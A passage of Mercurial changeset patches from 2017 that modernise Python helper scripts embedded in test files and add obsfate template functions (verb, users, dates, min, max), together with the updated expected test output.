   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ echo 3 >> I
   $ cat > $TESTTMP/delayedstrip.py <<EOF
-  > from mercurial import repair, commands
+  > from __future__ import absolute_import
+  > from mercurial import commands, repair
   > def reposetup(ui, repo):
   >     def getnodes(expr):
   >         return [repo.changelog.node(r) for r in repo.revs(expr)]
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503436290 14400
#      Tue Aug 22 17:11:30 2017 -0400
# Node ID afb33e73e51525235c12b7fb930823e71201f9fc
# Parent  ed88f90bb7872a9352bad1ec6dea04b360045be2
tests: update test-relink to pass our import checker

diff --git a/tests/test-relink.t b/tests/test-relink.t
--- a/tests/test-relink.t
+++ b/tests/test-relink.t
@@ -8,13 +8,15 @@
   > }
 
   $ cat > arelinked.py <<EOF
-  > import sys, os
+  > from __future__ import absolute_import, print_function
+  > import os
+  > import sys
   > from mercurial import util
   > path1, path2 = sys.argv[1:3]
   > if util.samefile(path1, path2):
-  >     print '%s == %s' % (path1, path2)
+  >     print('%s == %s' % (path1, path2))
   > else:
-  >     print '%s != %s' % (path1, path2)
+  >     print('%s != %s' % (path1, path2))
   > EOF
 
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503436509 14400
#      Tue Aug 22 17:15:09 2017 -0400
# Node ID 266192d4666b71f9689ca4fe34bfb67bc859ece1
# Parent  afb33e73e51525235c12b7fb930823e71201f9fc
tests: update test-inherit-mode to pass our import checker

diff --git a/tests/test-inherit-mode.t b/tests/test-inherit-mode.t
--- a/tests/test-inherit-mode.t
+++ b/tests/test-inherit-mode.t
@@ -10,7 +10,9 @@
   $ cd dir
 
   $ cat >printmodes.py <<EOF
-  > import os, sys
+  > from __future__ import absolute_import, print_function
+  > import os
+  > import sys
   > 
   > allnames = []
   > isdir = {}
@@ -25,12 +27,13 @@
   > allnames.sort()
   > for name in allnames:
   >     suffix = name in isdir and '/' or ''
-  >     print('%05o %s%s' % (os.lstat(name).st_mode & 07777, name, suffix))
+  >     print('%05o %s%s' % (os.lstat(name).st_mode & 0o7777, name, suffix))
   > EOF
 
   $ cat >mode.py <<EOF
+  > from __future__ import absolute_import, print_function
+  > import os
   > import sys
-  > import os
   > print('%05o' % os.lstat(sys.argv[1]).st_mode)
   > EOF
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503436514 14400
#      Tue Aug 22 17:15:14 2017 -0400
# Node ID b4707311d98250308240bed244d6fcc7206c1fae
# Parent  266192d4666b71f9689ca4fe34bfb67bc859ece1
tests: update test-largefiles-cache to pass our import checker

diff --git a/tests/test-largefiles-cache.t b/tests/test-largefiles-cache.t
--- a/tests/test-largefiles-cache.t
+++ b/tests/test-largefiles-cache.t
@@ -94,9 +94,11 @@
 
   $ cat > ls-l.py <<EOF
   > #!$PYTHON
-  > import sys, os
+  > from __future__ import absolute_import, print_function
+  > import os
+  > import sys
   > path = sys.argv[1]
-  > print('%03o' % (os.lstat(path).st_mode & 0777))
+  > print('%03o' % (os.lstat(path).st_mode & 0o777))
   > EOF
   $ chmod +x ls-l.py
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503436520 14400
#      Tue Aug 22 17:15:20 2017 -0400
# Node ID aaa65baf460ce1fbeb9e00d98e262f726000b481
# Parent  b4707311d98250308240bed244d6fcc7206c1fae
tests: update test-obsolete to pass our import checker

diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -1241,8 +1241,14 @@
 bookmarks change
   $ cd ..
   $ cat >$TESTTMP/test_extension.py  << EOF
+  > from __future__ import absolute_import, print_function
   > import weakref
-  > from mercurial import cmdutil, extensions, bookmarks, repoview
+  > from mercurial import (
+  >   bookmarks,
+  >   cmdutil,
+  >   extensions,
+  >   repoview,
+  > )
   > def _bookmarkchanged(orig, bkmstoreinst, *args, **kwargs):
   >  reporef = weakref.ref(bkmstoreinst._repo)
   >  def trhook(tr):
@@ -1250,7 +1256,7 @@
   >   hidden1 = repoview.computehidden(repo)
   >   hidden = repoview.filterrevs(repo, 'visible')
   >   if sorted(hidden1) != sorted(hidden):
-  >     print "cache inconsistency"
+  >     print("cache inconsistency")
   >  bkmstoreinst._repo.currenttransaction().addpostclose('test_extension', trhook)
   >  orig(bkmstoreinst, *args, **kwargs)
   > def extsetup(ui):
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503436573 14400
#      Tue Aug 22 17:16:13 2017 -0400
# Node ID 492cd4bbca08b80954edea758cf9d318fe37cad9
# Parent  aaa65baf460ce1fbeb9e00d98e262f726000b481
contrib: add test-check-module-imports.t to the Python 3 whitelist

This has the benefit of also catching most (if not all!) old-style
print statements and except statements.

diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -4,6 +4,7 @@
 test-casecollision.t
 test-check-commit.t
 test-check-execute.t
+test-check-module-imports.t
 test-check-pyflakes.t
 test-check-pylint.t
 test-check-shbang.t
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499088807 -7200
#      Mon Jul 03 15:33:27 2017 +0200
# Node ID 3d0f8918351b3f980d6322a32c8c4f7e19a37c12
# Parent  492cd4bbca08b80954edea758cf9d318fe37cad9
template: compute verb in obsfateverb

Add a template function obsfateverb which use the markers information to
compute a better obsfate verb.

The current logic behind the obsfate verb is simple for the moment:

- If the successorsets is empty, the changeset has been pruned, for example:

    Obsfate: pruned

- If the successorsets length is 1, the changeset has been rewritten without
  divergence, for example:

    Obsfate: rewritten as 2:337fec4d2edc, 3:f257fde29c7a

- If the successorsets length is more than 1, the changeset has diverged, for
  example:

    Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a

As the divergence might occurs on a subset of successors, we might see some
successors twice:

    Obsfate: split as 9:0b997eb7ceee, 5:dd800401bd8c, 10:eceed8f98ffc; split
    as 8:b18bc8331526, 5:dd800401bd8c, 10:eceed8f98ffc

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -590,3 +590,14 @@
         values.append({'successors': sset, 'markers': sset.markers})
 
     return values
+
+def successorsetverb(successorset):
+    """ Return the verb summarizing the successorset
+    """
+    if not successorset:
+        verb = 'pruned'
+    elif len(successorset) == 1:
+        verb = 'rewritten'
+    else:
+        verb = 'split'
+    return verb
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -18,6 +18,7 @@
     encoding,
     error,
     minirst,
+    obsutil,
     parser,
     pycompat,
     registrar,
@@ -849,6 +850,22 @@
     func = lambda a, b: a % b
     return runarithmetic(context, mapping, (func, args[0], args[1]))
 
+@templatefunc('obsfateverb(successors)')
+def obsfateverb(context, mapping, args):
+    """Compute obsfate related information based on successors (EXPERIMENTAL)"""
+    if len(args) != 1:
+        # i18n: "obsfateverb" is a keyword
+        raise error.ParseError(_("obsfateverb expects one arguments"))
+
+    successors = evalfuncarg(context, mapping, args[0])
+
+    try:
+        return obsutil.successorsetverb(successors)
+    except TypeError:
+        # i18n: "obsfateverb" is a keyword
+        errmsg = _("obsfateverb first argument should be countable")
+        raise error.ParseError(errmsg)
+
 @templatefunc('relpath(path)')
 def relpath(context, mapping, args):
     """Convert a repository-absolute path into a filesystem path relative to
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -13,7 +13,8 @@
   > stabilization=all
   > [templates]
   > obsfatesuccessors = " as {join(successors, ", ")}"
-  > obsfate = "rewritten{obsfatesuccessors}; "
+  > obsfateverb = "{obsfateverb(successors)}"
+  > obsfate = "{obsfateverb}{obsfatesuccessors}; "
   > [alias]
   > tlog = log -G -T '{node|short}\
   >     {if(predecessors, "\n  Predecessors: {predecessors}")}\
@@ -318,7 +319,7 @@
   o  337fec4d2edc
   |
   | @  471597cad322
-  |/     Obsfate: rewritten as 2:337fec4d2edc, 3:f257fde29c7a;
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a;
   o  ea207398892e
   
   $ hg up f257fde29c7a
@@ -359,7 +360,7 @@
   o  337fec4d2edc
   |
   | x  471597cad322
-  |/     Obsfate: rewritten as 2:337fec4d2edc, 3:f257fde29c7a;
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a;
   o  ea207398892e
   
   $ hg fatelogjson --hidden
@@ -1528,7 +1529,7 @@
   o  dd800401bd8c
   |
   | x  9bd10a0775e4
-  |/     Obsfate: rewritten as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a;
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a;
   o  f897c6137566
   |
   | x  0dec01379d3b
@@ -1603,7 +1604,7 @@
   o  dd800401bd8c
   |
   | @  9bd10a0775e4
-  |/     Obsfate: rewritten as 5:dd800401bd8c, 9:0b997eb7ceee, 10:eceed8f98ffc; rewritten as 5:dd800401bd8c, 8:b18bc8331526, 10:eceed8f98ffc;
+  |/     Obsfate: split as 5:dd800401bd8c, 9:0b997eb7ceee, 10:eceed8f98ffc; split as 5:dd800401bd8c, 8:b18bc8331526, 10:eceed8f98ffc;
   o  f897c6137566
   |
   o  ea207398892e
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499088840 -7200
#      Mon Jul 03 15:34:00 2017 +0200
# Node ID 38f08eaba6b0f7c258633dc5324677f8477963ca
# Parent  3d0f8918351b3f980d6322a32c8c4f7e19a37c12
template: compute user in obsfateusers

Extract, deduplicate users informations from obs markers in order to display
them.

Print all users for the moment, we might want to display users only in verbose
mode later.

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -601,3 +601,11 @@
     else:
         verb = 'split'
     return verb
+
+def markersusers(markers):
+    """ Returns a sorted list of markers users without duplicates
+    """
+    markersmeta = [dict(m[3]) for m in markers]
+    users = set(meta.get('user') for meta in markersmeta if meta.get('user'))
+
+    return sorted(users)
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -850,6 +850,24 @@
     func = lambda a, b: a % b
     return runarithmetic(context, mapping, (func, args[0], args[1]))
 
+@templatefunc('obsfateusers(markers)')
+def obsfateusers(context, mapping, args):
+    """Compute obsfate related information based on markers (EXPERIMENTAL)"""
+    if len(args) != 1:
+        # i18n: "obsfateusers" is a keyword
+        raise error.ParseError(_("obsfateusers expects one arguments"))
+
+    markers = evalfuncarg(context, mapping, args[0])
+
+    try:
+        data = obsutil.markersusers(markers)
+        return templatekw.hybridlist(data, name='user')
+    except (TypeError, KeyError, ValueError):
+        # i18n: "obsfateusers" is a keyword
+        msg = _("obsfateusers first argument should be an iterable of "
+                "obsmakers")
+        raise error.ParseError(msg)
+
 @templatefunc('obsfateverb(successors)')
 def obsfateverb(context, mapping, args):
     """Compute obsfate related information based on successors (EXPERIMENTAL)"""
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -14,7 +14,8 @@
   > [templates]
   > obsfatesuccessors = " as {join(successors, ", ")}"
   > obsfateverb = "{obsfateverb(successors)}"
-  > obsfate = "{obsfateverb}{obsfatesuccessors}; "
+  > obsfateusers = "{if(obsfateusers(markers), " by {join(obsfateusers(markers), ", ")}")}"
+  > obsfate = "{obsfateverb}{obsfatesuccessors}{obsfateusers}; "
   > [alias]
   > tlog = log -G -T '{node|short}\
   >     {if(predecessors, "\n  Predecessors: {predecessors}")}\
@@ -93,21 +94,21 @@
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2;
   o  ea207398892e
   
   $ hg fatelog
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2;
   o  ea207398892e
   
   $ hg fatelog -v
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2;
   o  ea207398892e
   
   $ hg up 'desc(A1)' --hidden
@@ -130,7 +131,7 @@
   o  d004c8f274b9
   |
   | @  a468dc9b3633
-  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2;
   o  ea207398892e
   
 Predecessors template should show all the predecessors as we force their display
@@ -161,11 +162,11 @@
   o  d004c8f274b9
   |
   | @  a468dc9b3633
-  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2;
   | x  f137d23bb3e1
   | |
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:a468dc9b3633;
+  |/     Obsfate: rewritten as 3:a468dc9b3633 by test1;
   o  ea207398892e
   
 
@@ -210,14 +211,13 @@
   @  d004c8f274b9
   |
   | x  a468dc9b3633
-  |/     Obsfate: rewritten as 4:d004c8f274b9;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2;
   | x  f137d23bb3e1
   | |
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:a468dc9b3633;
+  |/     Obsfate: rewritten as 3:a468dc9b3633 by test1;
   o  ea207398892e
   
-
   $ hg fatelogjson --hidden
   @  d004c8f274b9
   |
@@ -319,7 +319,7 @@
   o  337fec4d2edc
   |
   | @  471597cad322
-  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a;
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test;
   o  ea207398892e
   
   $ hg up f257fde29c7a
@@ -360,7 +360,7 @@
   o  337fec4d2edc
   |
   | x  471597cad322
-  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a;
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test;
   o  ea207398892e
   
   $ hg fatelogjson --hidden
@@ -461,7 +461,7 @@
   o  eb5a0daa2192
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 3:eb5a0daa2192;
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test;
   o  ea207398892e
   
   $ hg up 'desc(B0)' --hidden
@@ -490,9 +490,9 @@
   o  eb5a0daa2192
   |
   | @  0dec01379d3b
-  | |    Obsfate: rewritten as 3:eb5a0daa2192;
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test;
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:eb5a0daa2192;
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test;
   o  ea207398892e
   
   $ hg up 'desc(C0)'
@@ -528,9 +528,9 @@
   @  eb5a0daa2192
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:eb5a0daa2192;
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test;
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:eb5a0daa2192;
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test;
   o  ea207398892e
   
 
@@ -667,7 +667,7 @@
   | o  fdf9bde5129a
   |/
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 2:fdf9bde5129a; rewritten as 4:019fadeab383;
+  |/     Obsfate: rewritten as 2:fdf9bde5129a by test; rewritten as 4:019fadeab383 by test;
   o  ea207398892e
   
   $ hg up 'desc(A1)'
@@ -723,11 +723,11 @@
   o  019fadeab383
   |
   | x  65b757b745b9
-  |/     Obsfate: rewritten as 4:019fadeab383;
+  |/     Obsfate: rewritten as 4:019fadeab383 by test;
   | @  fdf9bde5129a
   |/
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:fdf9bde5129a; rewritten as 3:65b757b745b9;
+  |/     Obsfate: rewritten as 2:fdf9bde5129a by test; rewritten as 3:65b757b745b9 by test;
   o  ea207398892e
   
 
@@ -845,7 +845,7 @@
   o  eb5a0daa2192
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192;
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test;
   o  ea207398892e
   
   $ hg up 'desc(B0)' --hidden
@@ -873,9 +873,9 @@
   o  eb5a0daa2192
   |
   | @  0dec01379d3b
-  | |    Obsfate: rewritten as 4:eb5a0daa2192;
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test;
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192;
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test;
   o  ea207398892e
   
   $ hg up 'desc(B1)' --hidden
@@ -903,9 +903,9 @@
   o  eb5a0daa2192
   |
   | @  b7ea6d14e664
-  | |    Obsfate: rewritten as 4:eb5a0daa2192;
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test;
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192;
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test;
   o  ea207398892e
   
   $ hg up 'desc(C0)'
@@ -954,11 +954,11 @@
   @  eb5a0daa2192
   |
   | x  b7ea6d14e664
-  | |    Obsfate: rewritten as 4:eb5a0daa2192;
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test;
   | | x  0dec01379d3b
-  | |/     Obsfate: rewritten as 3:b7ea6d14e664;
+  | |/     Obsfate: rewritten as 3:b7ea6d14e664 by test;
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192;
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test;
   o  ea207398892e
   
 
@@ -1082,7 +1082,7 @@
   o  7a230b46bf61
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 2:7a230b46bf61;
+  |/     Obsfate: rewritten as 2:7a230b46bf61 by test;
   o  ea207398892e
   
   $ hg up 'desc(A2)'
@@ -1119,7 +1119,7 @@
   @  7a230b46bf61
   |
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:7a230b46bf61;
+  |/     Obsfate: rewritten as 2:7a230b46bf61 by test;
   o  ea207398892e
   
 
@@ -1194,9 +1194,9 @@
   o  f897c6137566
   |
   | @  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566; rewritten as 1:471f378eab4c;
+  | |    Obsfate: rewritten as 3:f897c6137566 by test; rewritten as 1:471f378eab4c by test;
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b;
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test;
   o  ea207398892e
   
 
@@ -1452,7 +1452,7 @@
   | o  ba2ed02b0c9a
   | |
   | x  4a004186e638
-  |/     Obsfate: rewritten as 8:b18bc8331526; rewritten as 9:0b997eb7ceee;
+  |/     Obsfate: rewritten as 8:b18bc8331526 by test; rewritten as 9:0b997eb7ceee by test;
   o  dd800401bd8c
   |
   o  f897c6137566
@@ -1525,17 +1525,17 @@
   | o  ba2ed02b0c9a
   | |
   | x  4a004186e638
-  |/     Obsfate: rewritten as 8:b18bc8331526; rewritten as 9:0b997eb7ceee;
+  |/     Obsfate: rewritten as 8:b18bc8331526 by test; rewritten as 9:0b997eb7ceee by test;
   o  dd800401bd8c
   |
   | x  9bd10a0775e4
-  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a;
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a by test;
   o  f897c6137566
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566; rewritten as 1:471f378eab4c;
+  | |    Obsfate: rewritten as 3:f897c6137566 by test; rewritten as 1:471f378eab4c by test;
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b;
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test;
   o  ea207398892e
   
   $ hg fatelogjson --hidden
@@ -1604,7 +1604,7 @@
   o  dd800401bd8c
   |
   | @  9bd10a0775e4
-  |/     Obsfate: split as 5:dd800401bd8c, 9:0b997eb7ceee, 10:eceed8f98ffc; split as 5:dd800401bd8c, 8:b18bc8331526, 10:eceed8f98ffc;
+  |/     Obsfate: split as 5:dd800401bd8c, 9:0b997eb7ceee, 10:eceed8f98ffc by test; split as 5:dd800401bd8c, 8:b18bc8331526, 10:eceed8f98ffc by test;
   o  f897c6137566
   |
   o  ea207398892e
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499088850 -7200
#      Mon Jul 03 15:34:10 2017 +0200
# Node ID c35c0f54f4201bb4f97cb7e1815406c84a4def4e
# Parent  38f08eaba6b0f7c258633dc5324677f8477963ca
template: compute dates in obsfatedate

Extract the dates from obsmarkers. Compute the min and max date from the
obsmarker range list.

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -602,6 +602,11 @@
         verb = 'split'
     return verb
 
+def markersdates(markers):
+    """returns the list of dates for a list of markers
+    """
+    return [m[4] for m in markers]
+
 def markersusers(markers):
     """ Returns a sorted list of markers users without duplicates
     """
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -840,6 +840,34 @@
         tzoffset = util.makedate()[1]
     return (date[0], tzoffset)
 
+@templatefunc('max(iterable)')
+def max_(context, mapping, args, **kwargs):
+    """Return the max of an iterable"""
+    if len(args) != 1:
+        # i18n: "max" is a keyword
+        raise error.ParseError(_("max expects one arguments"))
+
+    iterable = evalfuncarg(context, mapping, args[0])
+    try:
+        return max(iterable)
+    except (TypeError, ValueError):
+        # i18n: "max" is a keyword
+        raise error.ParseError(_("max first argument should be an iterable"))
+
+@templatefunc('min(iterable)')
+def min_(context, mapping, args, **kwargs):
+    """Return the min of an iterable"""
+    if len(args) != 1:
+        # i18n: "min" is a keyword
+        raise error.ParseError(_("min expects one arguments"))
+
+    iterable = evalfuncarg(context, mapping, args[0])
+    try:
+        return min(iterable)
+    except (TypeError, ValueError):
+        # i18n: "min" is a keyword
+        raise error.ParseError(_("min first argument should be an iterable"))
+
 @templatefunc('mod(a, b)')
 def mod(context, mapping, args):
     """Calculate a mod b such that a / b + a mod b == a"""
@@ -850,6 +878,23 @@
     func = lambda a, b: a % b
     return runarithmetic(context, mapping, (func, args[0], args[1]))
 
+@templatefunc('obsfatedate(markers)')
+def obsfatedate(context, mapping, args):
+    """Compute obsfate related information based on markers (EXPERIMENTAL)"""
+    if len(args) != 1:
+        # i18n: "obsfatedate" is a keyword
+        raise error.ParseError(_("obsfatedate expects one arguments"))
+
+    markers = evalfuncarg(context, mapping, args[0])
+
+    try:
+        data = obsutil.markersdates(markers)
+        return templatekw.hybridlist(data, name='date', fmt='%d %d')
+    except (TypeError, KeyError):
+        # i18n: "obsfatedate" is a keyword
+        errmsg = _("obsfatedate first argument should be an iterable")
+        raise error.ParseError(errmsg)
+
 @templatefunc('obsfateusers(markers)')
 def obsfateusers(context, mapping, args):
     """Compute obsfate related information based on markers (EXPERIMENTAL)"""
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -15,7 +15,8 @@
   > obsfatesuccessors = " as {join(successors, ", ")}"
   > obsfateverb = "{obsfateverb(successors)}"
   > obsfateusers = "{if(obsfateusers(markers), " by {join(obsfateusers(markers), ", ")}")}"
-  > obsfate = "{obsfateverb}{obsfatesuccessors}{obsfateusers}; "
+  > obsfatedate = "{if(obsfatedate(markers), "{ifeq(min(obsfatedate(markers)), max(obsfatedate(markers)), " (at {min(obsfatedate(markers))|isodate})", " (between {min(obsfatedate(markers))|isodate} and {max(obsfatedate(markers))|isodate})")}")}"
+  > obsfate = "{obsfateverb}{obsfatesuccessors}{obsfateusers}{obsfatedate}; "
   > [alias]
   > tlog = log -G -T '{node|short}\
   >     {if(predecessors, "\n  Predecessors: {predecessors}")}\
@@ -94,21 +95,21 @@
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg fatelog
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg fatelog -v
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg up 'desc(A1)' --hidden
@@ -131,7 +132,7 @@
   o  d004c8f274b9
   |
   | @  a468dc9b3633
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   o  ea207398892e
   
 Predecessors template should show all the predecessors as we force their display
@@ -162,11 +163,11 @@
   o  d004c8f274b9
   |
   | @  a468dc9b3633
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   | x  f137d23bb3e1
   | |
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:a468dc9b3633 by test1;
+  |/     Obsfate: rewritten as 3:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
   o  ea207398892e
   
 
@@ -211,11 +212,11 @@
   @  d004c8f274b9
   |
   | x  a468dc9b3633
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2;
+  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   | x  f137d23bb3e1
   | |
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:a468dc9b3633 by test1;
+  |/     Obsfate: rewritten as 3:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg fatelogjson --hidden
@@ -319,7 +320,7 @@
   o  337fec4d2edc
   |
   | @  471597cad322
-  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test;
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg up f257fde29c7a
@@ -360,7 +361,7 @@
   o  337fec4d2edc
   |
   | x  471597cad322
-  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test;
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg fatelogjson --hidden
@@ -461,7 +462,7 @@
   o  eb5a0daa2192
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test;
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg up 'desc(B0)' --hidden
@@ -490,9 +491,9 @@
   o  eb5a0daa2192
   |
   | @  0dec01379d3b
-  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test;
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test;
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg up 'desc(C0)'
@@ -528,9 +529,9 @@
   @  eb5a0daa2192
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test;
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test;
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
 
@@ -667,7 +668,7 @@
   | o  fdf9bde5129a
   |/
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 2:fdf9bde5129a by test; rewritten as 4:019fadeab383 by test;
+  |/     Obsfate: rewritten as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg up 'desc(A1)'
@@ -723,11 +724,11 @@
   o  019fadeab383
   |
   | x  65b757b745b9
-  |/     Obsfate: rewritten as 4:019fadeab383 by test;
+  |/     Obsfate: rewritten as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000);
   | @  fdf9bde5129a
   |/
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:fdf9bde5129a by test; rewritten as 3:65b757b745b9 by test;
+  |/     Obsfate: rewritten as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
 
@@ -845,7 +846,7 @@
   o  eb5a0daa2192
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test;
